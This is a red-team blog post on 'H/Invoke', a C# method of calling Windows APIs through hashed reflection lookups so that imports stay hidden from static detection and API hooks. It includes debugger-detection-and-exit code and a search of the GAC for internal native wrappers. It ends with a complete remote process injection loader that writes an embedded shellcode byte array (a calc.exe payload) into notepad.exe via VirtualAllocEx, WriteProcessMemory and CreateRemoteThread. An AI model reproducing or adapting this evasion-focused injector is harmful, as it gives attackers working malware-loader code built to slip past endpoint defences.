The traditional way of executing exported Windows functions from .NET is by using P/Invoke (short for Platform/Invoke) in C#. Which looks something like this if you want to execute CreateProcessA
which is exported by kernel32.dll
:
[DllImport("kernel32.dll")]
public static extern bool CreateProcessA
(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFOA lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation
);
Note: The examples in this blog use IntPtr
instead of SafeHandles
for the sake of simplicity. The importance of SafeHandles
to ensure acquired handles are properly disposed of, has been stressed enough by Daniel Duggan (@RastaMouse) in his blog post SafeHandle vs IntPtr – Rasta Mouse
Here's a more formal definition:
Per Microsoft, "P/Invoke is a technology that allows you to access structs, callbacks, and functions in unmanaged libraries from your managed code. Most of the P/Invoke API is contained in two namespaces:
System
andSystem.Runtime.InteropServices
. Using these two namespaces gives you the tools to describe how you want to communicate with the native component."
This allows you to call unmanaged WinAPI functions with the necessary marshaling, memory management etc. handled by the .NET runtime.
The downside to this way of calling WinAPI functions is that the imports will be added to the Import Address Table (IAT) of the resulting .NET assembly. This is bad from a static detection point-of-view whereby just checking the what functions a binary calls when loaded would be enough for detection (in addition to others like hardcoding msf-generated shellcode) in case of classic remote process injection flow:
During testing on one EDR, the actual detection in this flow wasn't triggered until CreateRemoteThread
was called. But the aim of this blog is NOT to provide the reader with an EDR bypass recipe but to instead focus on the technique itself. The purpose of discussing the flow is to highlight an operational (currently being used) detection heuristic and a potential way to bypass hooking (apart from D/Invoke) to allow operators flexibility in choosing techniques while developing offensive tooling.
Summary: Using P/Invoke would provide easy avenues for static detection (for a classic remote process injection), let alone running the payload to get a shell.
This is an improvement over P/Invoke introduced by Beef (https://x.com/FuzzySec?s=20) and The Wover (https://twitter.com/TheRealWover). This allows us to declare delegates with the same function signature as the WinAPI function that we wish to call.
Refer to the original post for more details: Emulating Covert Operations - Dynamic Invocation (Avoiding PInvoke & API Hooks) – The Wover – Red Teaming, .NET, and random computing topics
For eg. the D/Invoke (delegate) declaration for VirtualAllocEx
would look like this:
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr VirtualAllocEx(IntPtr pHandle, IntPtr lpAddress, int shellcode_size, UInt32 flAllocationType, UInt32 flProtect);
In, C# delegates are like function pointers in C/C++. They are similar to the function pointer in C. We need to get the function signature and the return type correct, and then you can call the method through that delegate. But they have several advantages such as passing the delegate as a function parameter and when compared to the standard function pointers offered by C/C++
In essence, functions can be declared and used as "types" by using C# Delegates. Delegates are object-oriented function pointers.
So, by not using the [DllImport]
attribute, we remove all static references to functions that we use via appropriate delegates. This means that the calls are resolved dynamically at runtime with a pointer (not exactly a pointer but the delegate to pointer conversion is taken care of by the runtime) to the function. This would bypass any defenses checking IAT and API hooking.
This is all well and good. But a more indirect method of calling the desired functions is also possible. H/Invoke.
This is another approach originally talked about by dr4k0nia (https://x.com/dr4k0nia?s=20) in his blog post, HInvoke and avoiding PInvoke | dr4k0nia. This post is just about talking a bit more about the technique once again and encouraging its incorporation in developing offensive .NET tooling.
The central idea is to iterate through all the types within mscorlib.dll
and hash their names using the original hash implementation.
public static uint GetHash(string name)
{
uint sum = 0;
foreach (char c in name)
{
sum = (sum >> 0xA | sum << 0x11) + c;
}
// zero terminator:
sum = (sum >> 0xA | sum << 0x11) + 0;
return sum;
}
In the code for resolving names from hashes, instead of passing the name for a function call, a hash of the function name is used. Then, by using reflection, all the types and methods in the mscorlib.dll
are hashed as mentioned earlier. If there's a match, then that method is called using the Invoke
function from the Reflection namespace.
For eg. We know that there exists a wrapper Microsoft.Win32.Win32Native
for the native function GetProcAddress
. So the class ID should be the hash for Microsoft.Win32.Win32Native
and the method ID should be GetProcAddress
. This will later be utilized in the demo code for injection.
The complete function looks like this:
public static T InvokeMethod<T>(uint classID, uint methodID, object[]? args)
{
// Input class ID and find any matching hash
var typeDef = typeof(void).Assembly
.GetTypes()
.FirstOrDefault(type => GetHash(type.FullName!) == classID);
// If the class hash exists in mscorelib.dll
var methodInfo = typeDef.GetRuntimeMethods()
.FirstOrDefault(method => GetHash(method.Name) == methodID);
// Invoke the resolved method with the supplied args
if (methodInfo != null)
{
return (T)methodInfo.Invoke(null, args);
}
return default!;
}
As an example, instead of calling Environment.Exit(0)
directly if a debugger is detected and assuming that kernel32!IsDebuggerAttached
is hooked, we can do the following:
if (HInvoke.GetPropertyValue<bool>(1577037771, 179842977)) // System.Diagnostics.Debugger.IsAttached
{
HInvoke.InvokeMethod(1174404872, 2029614223, new object[] {0}); // System.Environment.Exit(0)
}
In this snippet, we check if a debugger is attached using the System.Diagnostics.Debugger.IsAttached
function. If yes, we call System.Environment.Exit
with the argument 0
to terminate the program.
Another way of checking if a debugger is attached is by using GetModuleHandle
and GetProcAddress
:
var module = HInvoke.InvokeMethod<IntPtr>
(
13239936, // Microsoft.Win32.Win32Native
811580934, // GetModuleHandle
new object[]
{
"kernel32.dll"
}
);
var address = HInvoke.InvokeMethod<IntPtr>
(
13239936, // Microsoft.Win32.Win32Native
1721745356, // GetProcAddress
new object[]
{
module,
"IsDebuggerPresent"
}
);
if (((delegate* unmanaged[Stdcall]<bool>)address)())
{
Console.WriteLine("[-] Debugger present. Must exit now.");
return true;
}
In this code example, the execution is done via a "delegate pointer", which is a direct implementation of C function pointers starting C# 9.0. They can only be used within an unsafe
context. The declaration is delegate * unmanaged[Stdcall]
which means that we are executing a function pointer returning bool
to unmanaged code with a stdcall
calling convention (default for WinAPI functions).
dr4k0nia wrote:
Another idea I got while browsing through the internal parts of the managed .NET runtime. There is a class called
Microsoft.Win32.Win32Native
which contains you guessed it managed wrappers for native functions. Since Microsoft already so kindly provides these wrappers it would be a waste to not use them.There were 2 functions that I found especially interesting:
GetModuleHandle
andGetProcAddress
. By invoking them we can without any usage of P/Invoke in our binary get the address of any unmanaged function. Also by using the delegate pointer type (delegate*
) we can easily invoke the resolved unmanaged functions.
Hmmm... "managed wrappers for native functions". I checked the code for Microsoft.Win32.Win32Native
(find it here: https://referencesource.microsoft.com/#mscorlib/system/runtime/versioning/resourceattributes.cs,e9a2a97c9c60e6bf) to see the declarations myself. They were there but with a warning:
// Note - do NOT use this to call methods. Use P/Invoke, which will
// do much better things w.r.t. marshaling, pinning memory, security
// stuff, better interactions with thread aborts, etc. This is used
// solely by DoesWin32MethodExist for avoiding try/catch EntryPointNotFoundException
// in scenarios where an OS Version check is insufficient
[DllImport(KERNEL32, CharSet=CharSet.Ansi, BestFitMapping=false, SetLastError=true, ExactSpelling=true)]
[ResourceExposure(ResourceScope.None)]
private static extern IntPtr GetProcAddress(IntPtr hModule, String methodName);
[DllImport(KERNEL32, CharSet=CharSet.Auto, BestFitMapping=false, SetLastError=true)]
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)]
[ResourceExposure(ResourceScope.Process)] // Is your module side-by-side?
private static extern IntPtr GetModuleHandle(String moduleName);
The warning makes sense but we aren't going back to P/Invoke after coming all this way :).
This got me thinking, we have the (internal) declarations for GetProcAddress
and GetModuleHandle
. So, shouldn't there be an assembly somewhere that might contain the declarations for functions of interest such as OpenProcess
? That way, I can calculate the hash for OpenProcess
and the assembly that implements it (once I find it). That's how it should work, shouldn't it? Let's find out!
So, our objective is to find the correct internal wrappers for WinAPI functions within the .NET runtime.
I started looking in the .NET runtime (https://github.com/dotnet/runtime) code for implementations of OpenProcess
and several others, but couldn't find anything.
Before expanding the search to the runtime, first I decided to check the assemblies loaded in the current app domain. Apart from the current process, I had another location to check for assemblies, the GAC (but I'll touch on that a little later). A quick intro to what is an application domain:
Per Microsoft (https://learn.microsoft.com/en-us/dotnet/framework/app-domains/application-domains), Application Domains "provide an isolation boundary for security, reliability, and versioning, and for unloading assemblies. Application domains are typically created by runtime hosts, which are responsible for bootstrapping the common language runtime before an application is run."
To check the assemblies loaded in the current app domain we can use:
Console.WriteLine("[+] Assemblies loaded in the current Appdomain");
Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
foreach (Assembly assembly in assemblies)
{
Console.WriteLine("\t [*] " + assembly.FullName);
}
We can see the output below:
We see that the only assembly apart from Demo
(which is the main binary) we have mscorlib.dll
loaded into the default app domain. This makes sense as the PoC only implements functions from mscorlib.dll
.
For this, I wrote the code that performs the following things:
mscorlib
to be precise) in the current process.Simple! Here's the code:
string methodName = "GetProcAddress";
Console.WriteLine($"[*] Looking for: {methodName}");
Console.WriteLine("[+] Checking current Appdomain");
Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
foreach (Assembly assembly in assemblies)
{
Type[] types = assembly.GetTypes();
foreach (Type type in types)
{
if (type.IsClass)
{
MethodInfo[] methods = type.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static);
foreach (MethodInfo method in methods)
{
if (method.Name == methodName)
{
Console.WriteLine($"\t[*] Class containing {methodName} ==> " + type.FullName);
}
}
}
}
}
The result? Nothing! To confirm otherwise for GetProcAddress
we have the following output:
So mscorlib.dll
could offer us only this much. But it's enough as we'll see later. To expand the search further, I proceed to check the Global Assembly Cache (GAC). Here's a quick one-liner on the GAC.
The Global Assembly Cache is a global cache maintained by the .NET runtime to store shared DLLs that are used by running programs to avoid code duplication.
Checking the installed assemblies in the GAC is usually done using the gacutil.exe
tool that comes with .NET runtime. Assemblies in the GAC cache can be enumerated using,
gacutil.exe /nologo /l
Using C# to query GAC is not straightforward. One can parse the command line stdout
for assembly names (which proved to be a pain). Instead, I decided to check the C:\Windows\Microsoft.NET\assembly\GAC_MSIL
directory and append the directory names with .dll
, recursively searching for directory.dll
named DLL, storing them in a list and using it for the names that we'll be using for loading assemblies using Assembly.LoadFrom()
and querying their types using .NET Reflection. Not perfect but it worked!
Starting from .NET 4.0, the GAC structure has changed, and the assemblies are stored in
C:\Windows\Microsoft.NET\assembly
instead. Each subdirectory within these directories corresponds to a different version of the .NET Framework.For .NET 4.0 and later, the GAC is no longer browsable through Windows Explorer directly due to the removal of the
Shfusion.dll
shell extension that allowed browsing of the GAC.
Here's the code:
static void Main(string[] args)
{
string methodName = "GetProcAddress";
Console.WriteLine("[+] Checking the GAC");
string chosenPath = @"C:\Windows\Microsoft.NET\assembly\GAC_MSIL";
string[] directories = Directory.GetDirectories(chosenPath);
List<string> directoryList = new List<string>();
foreach (string directory in directories)
{
string directoryName = Path.GetFileName(directory);
directoryList.Add(directoryName);
}
foreach (string startingFolderName in directoryList)
{
string startingDirectoryPath = @"C:\Windows\Microsoft.NET\assembly\GAC_MSIL";
List<string> foundDllPaths = new List<string>();
SearchForDll(startingDirectoryPath, startingFolderName, foundDllPaths);
foreach (string path in foundDllPaths)
{
#if DEBUG
Console.WriteLine("\t[+] Dll path: " + path);
Console.WriteLine("[+] Loading and checking types...");
#endif
LoadDLL(path, methodName);
}
}
}
static void LoadDLL(string dllPath, string methodName)
{
try
{
#if DEBUG
Console.WriteLine("\t[*] " + dllPath);
#endif
Assembly asm = Assembly.LoadFrom(dllPath);
#if DEBUG
Console.WriteLine("\t[*] " + asm.FullName);
#endif
Type[] types = asm.GetTypes();
foreach (Type type in types)
{
if (type.IsClass)
{
MethodInfo[] methods = type.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static);
foreach (MethodInfo method in methods)
{
if (method.Name == methodName)
{
Console.WriteLine($"\t[*] Class containing {methodName} ==> " + type.FullName);
}
}
}
}
}
catch (Exception ex)
{
Console.WriteLine("[!] Assembly not found. Continuing...");
}
}
static void SearchForDll(string directoryPath, string dllNameWithoutExtension, List<string> foundDllPaths)
{
string[] directories = Directory.GetDirectories(directoryPath);
string[] dllFiles = Directory.GetFiles(directoryPath, "*.dll");
foreach (string file in dllFiles)
{
string fileName = Path.GetFileNameWithoutExtension(file);
if (fileName.Equals(dllNameWithoutExtension, StringComparison.OrdinalIgnoreCase))
{
foundDllPaths.Add(file);
}
}
foreach (string dir in directories)
{
SearchForDll(dir, dllNameWithoutExtension, foundDllPaths);
}
}
In the above code, we check what all assemblies within the GAC might contain wrappers for GetProcAddress
. Here's the output:
As a side note, those assemblies that couldn't be found can installed in the GAC using
gacutil.exe /i <path_to_asm>
and then have its types reflected again. This was not done in this blog.
Now we just plug in the OpenProcess
and the results are below:
So, we have some internal classes that should contain references to OpenProcess
. Whether or not this works can be confirmed, by calculating the hash of the class and method (as mentioned earlier) and invoking the function using the hashes. If we can get a handle to the process, then we found the correct wrapper!
We can automate this. First, we hash the internal class name found previously using GetHash
defined earlier. Then hash the method name we wish to search, OpenProcess
in this case. The relevant modifications made are below:
if (method.Name == methodName)
{
Console.WriteLine($"\t[*] Class containing {methodName} ==> " + type.FullName);
uint classHash = GetHash(type.FullName);
uint methodHash = GetHash(method.Name);
IntPtr __handle_OpenProcess = InvokeMethod<IntPtr>
(
classHash,
methodHash,
new object[]
{
(uint)0x000F0000, // ProcessAllAccess
false,
Convert.ToUInt32(notepd.Id)
}
);
if (__handle_OpenProcess != null)
{
if (__handle_OpenProcess == notepd.SafeHandle.DangerousGetHandle())
{
Console.WriteLine("[+] Handle aquired");
}
Console.WriteLine("\t\t[-] OpenProcess handle not null");
}
else
{
Console.WriteLine("\t\t[-] Couldn't aquire handle");
}
}
The code checks if the handle value is not null
and then compares the handle from H/Invoke call and using DangerousGetHandle()
function, if they are equal then this method should have worked. The output was not encouraging for OpenProcess
:
and even less encouraging for WriteProcessMemory
:
To summarize, we
GetProcAddrtess
and GetModuleHandle
available to work with.In the next section, I'll highlight an important factor while implementing H/Invoke.
Considering that there is no (according to the research presented in this blog) internal wrapper for native functions that we could directly call apart from the ones presented in the original research on the topic, H/Invoke is similar to D/Invoke in case a native wrapper for functions used in an offensive flow, such as CreateRemoteThread
(excluding thread-less injection), is not found, then the implementation is limited to calling GetModuleHandle
and GetProcAddress
.
Not finding the hashes of functions that we usually need in the classic remote injection is not the end! We can still use GetProcAddress
and GetModuleHandle
to get the kernel32.dll
handle to find the address for our desired functions, and then mix the D/Invoke approach to achieve our goal.
Using the hashes for GetProcAddress
and GetModuleHandle
, we aim to create a simple and basic flow for remote shellcode injection. I'll be using the notepad.exe
shellcode for demo purposes which will be injected into a notepad.exe
process.
Here's the algorithm for injecting calc.exe shellcode into notepad.exe
:
Code:
byte[] __payload = new byte[276]
{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
var shellcode_size = __payload.Length;
int bytes_written = 0;
int lpThreadId = 0;
var desiredAccess = _Process.PROCESS_CREATE_THREAD
| _Process.PROCESS_QUERY_INFORMATION
| _Process.PROCESS_VM_OPERATION
| _Process.PROCESS_VM_READ
| _Process.PROCESS_VM_WRITE;
System.Diagnostics.Process.Start("notepad.exe");
System.Diagnostics.Process[] system_processes = System.Diagnostics.Process.GetProcesses();
int processID;
foreach (System.Diagnostics.Process process in system_processes)
{
if (process.ProcessName == "notepad")
{
processID = process.Id;
#if DEBUG
Console.WriteLine("[+] Notepad process ID: " + processID);
Console.WriteLine("[+] Before HInvoke calls...");
#endif
var module = InvokeMethod<IntPtr>
(
13239936,
811580934, // GetModuleHandle
new object[]
{
"kernel32.dll"
}
);
IntPtr __addr_OpenProcess = InvokeMethod<IntPtr>
(
13239936,
1721745356, // GetProcAddress
new object[]
{
module,
"OpenProcess"
}
);
IntPtr __addr_GetLastError = InvokeMethod<IntPtr>
(
13239936,
1721745356, // GetProcAddress
new object[]
{
module,
"GetLastError"
}
);
// Get delegate for the function pointer
OpenProcess op_func = Marshal.GetDelegateForFunctionPointer<OpenProcess>(__addr_OpenProcess);
// Invoke delegate with arguments
IntPtr handle = op_func((uint)desiredAccess, false, Convert.ToUInt32(processID));
#if DEBUG
Console.WriteLine("[+] Handle to notepad process: " + handle);
#endif
var __addr_VirtualAllocEx = InvokeMethod<IntPtr>
(
13239936,
1721745356, // GetProcAddress
new object[]
{
module,
"VirtualAllocEx"
}
);
// Get Delegate for function pointer
VirtualAllocEx virt_func = Marshal.GetDelegateForFunctionPointer<VirtualAllocEx>(__addr_VirtualAllocEx);
// Invoke delegate
IntPtr memHandle = virt_func(handle, IntPtr.Zero, shellcode_size, (uint)State.MEM_COMMIT | (uint)State.MEM_RESERVE, (uint)PAGE_EXECUTE_READWRITE);
#if DEBUG
Console.WriteLine("[+] Handle to allocated memory: " + memHandle);
#endif
var __addr_WriteProcessMemory = InvokeMethod<IntPtr>
(
13239936,
1721745356, // GetProcAddress
new object[]
{
module,
"WriteProcessMemory"
}
);
// Get delegate for function pointer
WriteProcessMemory pmem = Marshal.GetDelegateForFunctionPointer<WriteProcessMemory>(__addr_WriteProcessMemory);
// Invoke delegate
bool wpm_res = pmem(handle, memHandle, __payload, shellcode_size, ref bytes_written);
if (wpm_res == false)
{
#if DEBUG
Console.WriteLine("[!] Memory write process failed");
#endif
}
#if DEBUG
Console.WriteLine("[+] Shellcode written");
#endif
var __addr_CreateRemoteThread = InvokeMethod<IntPtr>
(
13239936,
1721745356, // GetProcAddress
new object[]
{
module,
"CreateRemoteThread"
}
);
// Get delegate for function pointer
CreateRemoteThread crt = Marshal.GetDelegateForFunctionPointer<CreateRemoteThread>(__addr_CreateRemoteThread);
// Invoke delegate
IntPtr crt_res = crt(handle, IntPtr.Zero, 0, memHandle, IntPtr.Zero, 0, ref lpThreadId);
if (crt_res == IntPtr.Zero)
{
#if DEBUG
Console.WriteLine("[-] Starting remote thread failed");
#endif
}
#if DEBUG
Console.WriteLine("[+] Handle to thread: " + crt_res);
#endif
// Close opened handles
var __addr_CloseHandle = InvokeMethod<IntPtr>
(
13239936,
1721745356, // GetProcAddress
new object[]
{
module,
"CloseHandle"
}
);
// CloseHandle delegate from function pointer
CloseHandle close_res = Marshal.GetDelegateForFunctionPointer<CloseHandle>(__addr_CloseHandle);
// Invoke CloseHandle
bool rclose = close_res(crt_res);
bool hclose = close_res(handle);
if (rclose == false && hclose == false)
{
#if DEBUG
Console.WriteLine("[-] Close file and thread handles failed");
#endif
}
#if DEBUG
Console.WriteLine("[+] Handles closed");
#endif
}
}
The constants used in the code above are defined below:
public static readonly int PAGE_EXECUTE_READWRITE = 0x40;
public enum State
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000
}
public enum _Process
{
PROCESS_ALL_ACCESS = 0x000F0000 | 0x00100000 | 0xFFFF,
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_READ = 0x0010,
PROCESS_VM_WRITE = 0x0020
}
The delegates used are declared below:
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr OpenProcess (uint desired_access, bool inherit_handle, uint process_id);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr VirtualAllocEx (IntPtr pHandle, IntPtr lpAddress, int shellcode_size, UInt32 flAllocationType, UInt32 flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate bool WriteProcessMemory (IntPtr pHandle, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref int noOfBytesWritten);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate IntPtr CreateRemoteThread (IntPtr hProcess, IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref int lpThreadId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate bool CloseHandle (IntPtr handle);
As a bonus, the SafeHandle
implementation isn't much different, just the IntPtr
will be replaced with appropriate SafeHandle
type (the example below is for P/Invoke!):
Console.WriteLine("[+] Notepad process ID: " + processID);
safeProcHandle = OpenProcess((uint)desiredAccess, false, Convert.ToUInt32(processID));
if (safeProcHandle.IsInvalid)
{
Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());
}
safeStartAddr = VirtualAllocEx(safeProcHandle, IntPtr.Zero, shellcode_size, (uint)Initialization.State.MEM_COMMIT | (uint)Initialization.State.MEM_RESERVE, (uint)Initialization.Protection.PAGE_EXECUTE_READWRITE);
if (safeStartAddr.IsInvalid)
{
Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());
}
WriteProcessMemory(safeProcHandle, safeStartAddr, __payload, shellcode_size, ref bytes_written);
Console.WriteLine("[+] Bytes written: " + bytes_written);
safeThreadHandle = CreateRemoteThread(safeProcHandle, IntPtr.Zero, 0, safeStartAddr, IntPtr.Zero, 0, ref lpThreadId);
if (safeThreadHandle.IsInvalid)
{
Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());
}
Console.WriteLine("[+] Thread ID: " + safeThreadHandle);
safeProcHandle.Dispose();
safeThreadHandle.Dispose();
safeStartAddr.Dispose();
Give the code a spin! Hope you learned something new today. Have a nice day :).
Tx0actical. Out.